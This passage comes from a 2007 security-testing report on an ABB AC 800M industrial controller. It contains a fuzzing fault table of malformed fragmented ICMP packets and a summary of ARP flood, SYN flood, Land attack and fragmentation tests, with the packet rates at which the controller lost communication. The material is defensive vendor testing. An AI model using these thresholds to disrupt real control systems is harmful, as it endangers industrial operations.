ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.length.all 131
Instrumentation
Variant
5/22/07 11:17:02 AM
40.
ICMPv4 Echo Requests, Fragmented first.ipv4.options.timestamp.misaligned
0
Instrumentation
Variant
5/22/07 11:17:11 AM
41.
ICMPv4 Echo Requests, Fragmented first.ipv4.options.timestamp.misaligned
1-2
Instrumentation
Variant
5/22/07 11:17:14 AM
42.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.overflow- 0-11
flag.length.8-bit
Instrumentation
Variant
5/22/07 11:17:23 AM
43.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.pointerlength
64-65
Instrumentation
Variant
5/22/07 11:17:32 AM
44.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.pointerlength
66
Instrumentation
Variant
5/22/07 11:17:38 AM
45.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.pointerlength
67-83
Instrumentation
Vector Range
5/22/07 11:18:24 AM
46.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.traceroute.length.all
16-32
Instrumentation
Vector Range
5/22/07 11:19:31 AM
47.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.traceroute.length.all
97-113
Instrumentation
Vector Range
5/22/07 11:20:25 AM
48.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.traceroute.length.all
178-194
Instrumentation
Vector Range
5/22/07 11:21:09 AM
49.
ICMPv4 Echo Requests, Fragmented - last.ipv4.header.length.length.16-bit
64-80
Instrumentation
Vector Range
5/22/07 11:22:50 AM
Analysis Detail
Page 6
For Target ABB-AC800M-PM860-5.0.11.61
Faults
Fault
Range
Detection
Isolation
Time
50.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.format-string
0-16
Instrumentation
Vector Range
5/22/07 11:23:49 AM
51.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.loose-source-record
-route.length.all
0-16
Instrumentation
Vector Range
5/22/07 11:24:53 AM
52.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.loose-source-record
-route.length.all
81-97
Instrumentation
Vector Range
5/22/07 11:25:50 AM
53.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.loose-source-record
-route.length.all
162-178
Instrumentation
Vector Range
5/22/07 11:26:39 AM
54.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.loose-source-record
-route.pointer-length
64-80
Instrumentation
Vector Range
5/22/07 11:27:40 AM
55.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.loose-source-record
-route.route.invalid
0-16
Instrumentation
Vector Range
5/22/07 11:28:42 AM
56.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.option.length.invalid
52
Instrumentation
Vector
5/22/07 11:29:39 AM
57.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.option.length.invalid
182-198
Instrumentation
Vector Range
5/22/07 11:30:42 AM
58.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.option.length.invalid
263-279
Instrumentation
Vector Range
5/22/07 11:31:29 AM
59.
ICMPv4 Echo Requests, Fragmented last.ipv4.options.option.length.missing
64-80
Instrumentation
Vector Range
5/22/07 11:32:34 AM
60.
ICMPv4 Echo Requests, Fragmented last.ipv4.options.option.length.missing
145-161
Instrumentation
Vector Range
5/22/07 11:33:32 AM
61.
ICMPv4 Echo Requests, Fragmented last.ipv4.options.option.length.missing
226-242
Instrumentation
Vector Range
5/22/07 11:34:19 AM
62.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.option.length.zero
64-80
Instrumentation
Vector Range
5/22/07 11:35:28 AM
63.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.option.length.zero
145-161
Instrumentation
Vector Range
5/22/07 11:36:25 AM
64.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.option.length.zero
226-242
Instrumentation
Vector Range
5/22/07 11:37:15 AM
Analysis Detail
Page 7
For Target ABB-AC800M-PM860-5.0.11.61
Faults
Fault
Range
Detection
Isolation
Time
65.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.recordroute.length.all
64-80
Instrumentation
Vector Range
5/22/07 11:38:18 AM
66.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.recordroute.length.all
145-161
Instrumentation
Vector Range
5/22/07 11:39:14 AM
67.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.recordroute.length.all
226-242
Instrumentation
Vector Range
5/22/07 11:39:58 AM
68.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.record-route.pointer- 64-80
length
Instrumentation
Vector Range
5/22/07 11:40:59 AM
69.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.recordroute.route.invalid
Instrumentation
Vector
5/22/07 11:41:31 AM
70.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.router-alert.length.all 32-48
Instrumentation
Vector Range
5/22/07 11:42:49 AM
71.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.router-alert.length.all 113-129
Instrumentation
Vector Range
5/22/07 11:43:54 AM
72.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.router-alert.length.all 194-210
Instrumentation
Vector Range
5/22/07 11:44:41 AM
73.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.security.length.all
81-97
Instrumentation
Vector Range
5/22/07 11:46:18 AM
74.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.security.length.all
162-178
Instrumentation
Vector Range
5/22/07 11:47:18 AM
75.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.security.length.all
243-255
Instrumentation
Vector Range
5/22/07 11:48:00 AM
76.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.strict-source-record- 64-80
route.length.all
Instrumentation
Vector Range
5/22/07 11:49:38 AM
77.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.strict-source-record- 145-161
route.length.all
Instrumentation
Vector Range
5/22/07 11:50:44 AM
78.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.strict-source-record- 226-242
route.length.all
Instrumentation
Vector Range
5/22/07 11:51:29 AM
79.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.strict-source-record- 64-80
route.pointer-length
Instrumentation
Vector Range
5/22/07 11:52:34 AM
Analysis Detail
4
Page 8
For Target ABB-AC800M-PM860-5.0.11.61
Faults
Detection
Isolation
Time
80.
Fault
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.strict-source-record- 0-16
route.route.invalid
Range
Instrumentation
Vector Range
5/22/07 11:53:36 AM
81.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.string.overflow
35
Instrumentation
Vector
5/22/07 11:54:19 AM
82.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.string.overflow
36
Instrumentation
Variant
5/22/07 11:54:19 AM
83.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.string.utf-8
34
Instrumentation
Vector
5/22/07 11:54:50 AM
84.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.timestamp.length.all
17
Instrumentation
Vector
5/22/07 11:55:27 AM
85.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.timestamp.length.all
82-98
Instrumentation
Vector Range
5/22/07 11:56:48 AM
86.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.timestamp.length.all
163-179
Instrumentation
Vector Range
5/22/07 11:57:36 AM
87.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.timestamp.pointerlength
48-64
Instrumentation
Vector Range
5/22/07 11:58:37 AM
88.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.timestamp.pointerlength
129-143
Instrumentation
Vector Range
5/22/07 11:59:27 AM
89.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.traceroute.length.all
16-32
Instrumentation
Vector Range
5/22/07 12:00:40 PM
90.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.traceroute.length.all
97-113
Instrumentation
Vector Range
5/22/07 12:01:40 PM
91.
ICMPv4 Echo Requests, Fragmented - last.ipv4.options.traceroute.length.all
178-194
Instrumentation
Vector Range
5/22/07 12:02:27 PM
Appendix F
AC 800 M Stack Vulnerability
Summary Report
SUBMITTED TO: ABB Corporate Research
PREPARED BY: WURLDTECH SECURITY
DATE: June 1st , 2007
* THE CONTENTS OF THIS SUMMARY REPORT ARE UNOFFICAL AND SUBJECT
TO CHANGE
Wurldtech Security
Suite 208 - 1040 Hamilton Street
Vancouver BC Canada
V6B 2R9
Toll Free +1 877 369 6674
Telephone +1 604 669 6674
Facsimile +1 604 669 2902
Email [email protected]
Website www.wurldtechsecurity.com
213
214
APPENDIX F. AC 800 M STACK VULNERABILITY SUMMARY REPORT
F.1
Test Configuration Summary
This section describes environment in which the DUT was tested. The information in
this section will enable the testing to be accurately reproduced at a later date.
F.1.1
Vendor Control System
The VCS was a laptop computer running the Windows XP Professional operating system
with service pack 2 installed. Compact Control Builder AC 800 M version 5.0.1/0w
(Build 5.0.1001.51) was installed on the VCS and used to communicate with the DUT.
The VCS had two network interface cards installed, a primary communication interface
and an interface used by the OPC monitor to transmit telemetry to Achilles. The
specifics of the primary communication interface and the AOA interface are depicted in
table F.1.
Interface
Primary communication interface
Monitor Interface
IP/32
193.75.73.44
192.168.99.100
MAC
00:14:22:F9:05:D3
00:00:E8:01:50:50
Table F.1: The Configuration of the VCS’s Network Interface Cards.
Also installed on the VCS was Wurldtech OPC Monitor version 1.1. The OPC tags
monitored and their respective event conditions are depicted in table F.2.
Item Name
Description
Normal Value
Event Criteria
Applications
The state of digital Change between 0 The data does not
PM865App
Pro- output 1
and 1 at a period of 1 change within the 1
gram1 output val
second
second
Table F.2: Monitored OPC Tags and Event Conditions.
F.2. DEVICE UNDER TEST
215
Achilles Server
Version 1.3 of the Achilles server was used to conduct the testing. The configuration
of the Achilles server’s network interface cards is depicted in table F.3.
Interface
Bridge interface facing DUT
Bridge interface facing VCS
AOA interface
IP/32
193.75.73.9
0.0.0.0
192.168.99.200
MAC
00:10:18:1A:49:14
00:10:18:1A:48:92
00:50:8D:95:F9:D6
Table F.3: The Configuration of the Achilles Server’s Network Interface Cards.
F.2
Device Under Test
The details of the device under test are summarized in table F.4.
Model
Serial Number
Hardware Revision
Firmware Revision
Device
AC 800M
SE042349AU
PM865
5.0.1001.51 (May 2007)
Table F.4: Device Under Test Definition.
No redundant communication channels on the AC 800 M were used during this test.
The specifics of the AC 800 M’s primary network interface card are depicted in table F.5
Interface
Primary communication interface
IP/32
193.75.73.11
MAC
00:00:23:0A:69:E8
Table F.5: The Configuration of the DUT’s Network Interface Cards.
F.3
F.3.1
Test Case ResultSummary
ARP Flood
Description:
ARP implementations include a finite-sized cache of IP/MAC address combinations.
ARP flooding involves sending large numbers of unsolicited ARP replies onto the network
216
APPENDIX F. AC 800 M STACK VULNERABILITY SUMMARY REPORT
in an attempt to fill this cache with invalid entries. Historically, many devices accept
unsolicited ARP replies and will cache them regardless of their source.
Expected Behavior:
If the ARP flood attack is successful, all legitimate communication between the VCS
and the DUT will cease immediately.
Observed Behavior:
At rates below 150 packets per second, only the occasional ICMP echo request is receives
a response.
Above this rate, no ICMP response messages are received. I/O operation of the AC 800
M was not affected.
After the test case completed, the Windows XP workstation running Compact Control
Builder was unable to re-establish any communication with the AC 800M until the ARP
cache is flushed. After it was flushed, ICMP communication is restored but usually
Compact Control Builder has to be restarted before it is able to re-establish communication. Occasionally the workstation had to be rebooted before Compact Control
Builder could restore connectivity despite that ICMP pings were successful in communicating with the AC 800 M. Very infrequently the AC 800 M had to be powercycled
to reestablish connectivity, but this behavior was sporadic and difficult to reproduce.
F.3.2
TCP SYN Flood
Description:
A TCP connection between a client and server requires a three-way handshake in order
to establish communication. The three-way handshake starts with the client sending a
Synchronize (SYN) packet to the server to indicate its interest in communicating with
it. If the host offers a service on the port indicated in the initial SYN packet, it responds
with a Synchronize-Acknowledge (SYN-ACK) packet. After the server issues the SYNACK packet, the connection is said to be in a pending state because the server must
wait for the final ACK packet from the client before the connection is fully established.
When the client receives the SYN-ACK the TCP protocol states that it must respond
with an Acknowledge (ACK) packet thus establishing the communication link.
The
server must keep track of pending connections until it receives the final ACK packet
and the connection is fully established. Some TCP stacks may only be able to process a
single pending connection while others maintain a finite queue of pending connections.
F.3. TEST CASE RESULTSUMMARY
217
The SYN Flood attack attempts to fill this queue and prevent any new connections from
being established by not sending the final ACK of the three-way handshake.
Expected behavior:
The DUT’s stack will receive the SYN packets and start to fill its connection queue. The
DUT will send SYN-ACK packets back to the attacking system and wait for receipt of
ACK packets. On vulnerable systems, disruptions to established connections or device
crashes can occur.
On non-vulnerable systems, the DUT’s stack will detect and limit the rate of new connection establishments. Once the connection queue on the device is full, new connection
attempts will be refused but already established connections will not be affected.
Observed behavior:
When directed at any open TCP port a temporary loss of view occurs at rates above
about 6,700 packets per second. View is restored immediately when the test completes.
F.3.3
TCP/IP Land Attack
Description:
A Land Attack consists of sending crafted TCP/IP packets to an open port on a target
device. The crafted traffic has the source IP address equal to the destination IP address
equal to the IP address of the DUT and has the TCP source port equal to the destination
port.
Expected Behavior:
On devices that are vulnerable to this attack, the device’s TCP stack receives the packet
and promptly crashes or locks up trying to send replies to itself. On unaffected systems,
this kind of packet will be ignored.
Observed Behavior:
When directed at any open TCP port a temporary loss of view occurs at rates above
about 4,500 packets per second . View is restored immediately when the test completes.
218
F.3.4
APPENDIX F. AC 800 M STACK VULNERABILITY SUMMARY REPORT
TCP Fragmentation Fuzzer
Description:
The TCP Fragmentation Fuzzer generates fragmented IP packets with randomized TCP
payloads.
Expected Behavior:
A device experiencing this test should begin to show deteriorating communication conditions due to fragmentation processing overhead. If rate limiting is not employed,
it is expected that legitimate communication is severed due to connectivity timeouts.
Regular communication should be restored immediately after the test case completes.
Observed Behavior:
When directed to any port (whether open or closed) at rates below 150 packets per second
the AC 800 M’s reponse time to ICMP pings increases to greater than 8 seconds and
Compact Control Builder loses visibility with the AC 800 M. Visibility is immediately
restored after the test completes.